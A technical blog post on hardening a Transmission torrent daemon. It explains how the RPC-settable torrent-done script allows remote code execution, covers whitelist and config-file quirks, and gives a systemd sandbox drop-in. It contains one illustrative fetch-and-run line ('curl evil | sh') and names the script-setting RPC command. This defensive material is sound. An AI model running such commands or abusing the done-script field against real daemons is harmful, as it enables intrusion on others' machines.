Transmission is a remote-code-execution box by default
Contents
script-torrent-done-filename runs an executable of your choosing as the daemon user every time a torrent completes, and it is settable over the RPC interface — so anything that can reach the RPC port and pass its auth chooses what the daemon executes. That is remote code execution by design, not a bug, and you cannot seccomp it away because the daemon legitimately needs execve. Narrow who can reach the RPC (the whitelist takes shell globs, not CIDR), then cage what an escaped command can touch with a systemd sandbox.The obvious way to stop a program from running arbitrary commands is to take away its ability to run commands. systemd has a knob for exactly this:
[Service]
SystemCallFilter=~execve
Blacklist execve, and the process can never hand control to another binary. For a torrent daemon that has no business spawning anything, that reads like a one-line fix.
What it actually does is make the service never start. And the reason it fails is the same reason Transmission needs caging in the first place.
The feature that is a backdoor#
Transmission has an RPC interface — the thing the web UI and your phone talk to. It also has a feature called script-torrent-done-filename: point it at an executable, and Transmission runs that executable, as the daemon user, every time a torrent finishes. Convenient for "move the file, poke Sonarr, send a notification."
Now look at how you set it:
transmission-remote --torrent-done-script /path/to/anything
That is an RPC call. session-set, field script-torrent-done-filename. The RPC has no per-method ACL — anyone who can reach the RPC and pass auth can set any session field, including that one. So anyone who can talk to the RPC can register an arbitrary command and have it executed, as the daemon user, on the next completed download. That is remote code execution. There is an off switch, script-torrent-done-enabled, but it is a session field too, writable over the same RPC: setting it to false in settings.json holds only until someone with RPC access sets it back.
Which sharpens the question of who can reach the RPC.
The whitelist has opinions the docs skip#
The RPC access controls are rpc-whitelist and rpc-authentication-required. Both live in settings.json, and both behave in ways that will burn an afternoon if you trust the intuition.
rpc-whitelist takes shell-style globs, not CIDR:
"rpc-whitelist": "127.0.0.1,192.168.*.*",
"rpc-whitelist-enabled": true
192.168.1.0/24 in that field matches nothing. It has to be 192.168.*.*. And rpc-bind-address being 0.0.0.0 is fine, because the whitelist is the control surface. Bind wide, whitelist narrow.
The one that actually cost time: you cannot set the whitelist or the auth requirement over RPC. Try to change rpc-whitelist via session-set and the daemon returns "result": "success" and ignores you. The security-relevant fields are the ones you can't touch remotely — which is correct design and undocumented behavior at the same time. To change them you edit settings.json and restart.
Except the daemon rewrites settings.json from memory when it stops. Edit the file under a running daemon, restart, and your edit is gone — overwritten by the in-memory copy on the way down. The sequence that works is:
sudo systemctl stop transmission-daemon # flush memory -> disk
sudoedit /home/user/.config/transmission-daemon/settings.json
sudo systemctl start transmission-daemon # read edited file
Stop, then edit, then start. Any other order loses the change.
One more, because it gets switched off for the wrong reason: rpc-host-whitelist. It is a DNS-rebinding guard on the Host header, not a second address filter. A request addressed by IP is always allowed, so is localhost, and so is any hostname once password auth is on. What it refuses, with a 421, is an unauthenticated request by a name that isn't on the list. If the web UI fails when opened by hostname, add that name to rpc-host-whitelist. Setting rpc-host-whitelist-enabled to false also makes it work, by dropping the rebinding protection along with the error.
Chasing the wrong file#
A detour worth naming, because the packaged unit lies about where it runs. Fedora's transmission-daemon ships to run as a transmission service account with config under /var/lib/transmission. A drop-in override on this box changed it to User=user. So the live config is ~/.config/transmission-daemon/settings.json, and /var/lib/transmission/.config is a stale decoy that will happily accept edits and change nothing.
Don't guess which one is live. Ask the process:
pid=$(pgrep -x transmission-da)
sudo cat /proc/$pid/environ | tr '\0' '\n' | grep ^HOME=
sudo ls -l /proc/$pid/cwd
HOME= tells you which config directory the running daemon actually reads. Everything else is a paper trail.
Why you can't seccomp the exec away#
Back to the one-liner. SystemCallFilter=~execve should stop the RCE cold — no execve, no spawned command, no matter what script-torrent-done-filename points at.
The problem is the order of operations. systemd sets up the seccomp filter in the child process and then calls execve to replace that child with transmission-daemon. The seccomp filter is already armed when that launch execve runs. So the filter's first casualty is the daemon itself — it dies before main(), and the unit fails to start.
There is no "allow the first exec, deny every later one" in seccomp. The kernel does not know which execve is systemd starting your service and which is your service starting /bin/sh -c 'curl evil | sh'. They are the same syscall. Block it and you block both; allow it and you allow both. The feature that makes the RCE possible is load-bearing for the daemon existing at all.
So you stop trying to prevent the exec. You make the exec worthless.
Cage the blast radius instead#
If the escaped command can run but can see nothing and touch nothing, the RCE degrades from "attacker owns the box" to "attacker runs ls in an empty room." That is a systemd sandbox, and it is a drop-in:
[Service]
NoNewPrivileges=true
ProtectSystem=strict
ProtectHome=tmpfs
BindPaths=/home/user/.config/transmission-daemon
ReadWritePaths=/media/downloads
RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX AF_NETLINK
CapabilityBoundingSet=
MemoryDenyWriteExecute=true
RestrictSUIDSGID=true
LockPersonality=true
ProtectKernelTunables=true
ProtectKernelModules=true
ProtectControlGroups=true
RestrictNamespaces=true
PrivateTmp=true
ProtectHome=tmpfs is the interesting one. It replaces /home with an empty tmpfs inside the service's mount namespace, so an escaped script sees no SSH keys, no browser profiles, no .env files — none of the things that make "runs as your user" catastrophic. Everything that makes user valuable to an attacker is gone.
It is also where the next failure came from. The first attempt paired ProtectHome=tmpfs with ReadWritePaths=/home/user/.config/transmission-daemon, so the daemon could still read its own config. The unit died with status=226/NAMESPACE: systemd could not set up mount namespacing, because the config path did not exist.
ReadWritePaths needs its target to exist in the new namespace so it can remount it read-write. But ProtectHome=tmpfs already wiped /home to an empty tmpfs — the path is gone before ReadWritePaths looks for it. The two directives fight, and the mount setup loses.
BindPaths wins because it creates the mountpoint rather than expecting one. It bind-mounts the real config directory over the tmpfs, punching one visible hole in an otherwise empty home. So: BindPaths= for the config dir inside $HOME, ReadWritePaths= for the download drive outside it. Same idea for a swapped web UI — set TRANSMISSION_WEB_HOME to a directory the cage can actually see, which means somewhere under that bind mount, not out in the wiped home.
Then confirm the cage is real by looking at the world from inside it:
pid=$(pgrep -x transmission-da)
sudo ls /proc/$pid/root/home/user
If that lists your entire home directory, the sandbox isn't on. If it lists the config directory and nothing else, an escaped script-torrent-done command is standing in an empty room. The RCE is still there, because it is a feature, but it now runs with no privileges, no capabilities, no home, no write access beyond the download drive, its own config directory and a private /tmp, and no ability to map memory writable-and-executable. It can finish a torrent. That is about all it can do.
Filed under: transmission, systemd, security, linux, fedora
Read next#
- AllowedIPs is not access control — the same mistake one layer up: a restriction written where the restricted party can edit it
- Hardening the box you're logged in through — proving the sandbox actually caged the process instead of trusting that the unit file applied
- The router had been running fine, which was the problem — the router in front of this box, audited the same evening
Sources#
- Transmission 4.0.6 RPC specification —
session-setfields includingscript-torrent-done-enabledandscript-torrent-done-filename, and the host-whitelist rule that IP addresses are always allowed. - Transmission 4.0.6: editing configuration files —
rpc-whitelistwildcards (192.168.*.*),rpc-host-whitelist, and the note that the client should be closed before editing or settings are reverted. - Transmission 4.0.6: scripts — invoking a script when downloads complete, and the environment it gets.
- Transmission 4.0.6
rpc-server.cc—isHostnameAllowed: password auth permits any hostname, IP addresses always pass, everything else gets the421. - systemd.exec(5) —
SystemCallFilter,ProtectHome,BindPaths,ReadWritePaths,RestrictAddressFamilies.SystemCallFilter=notes thatexecve()is required to execute the service binary, so blocking it makes invocation fail.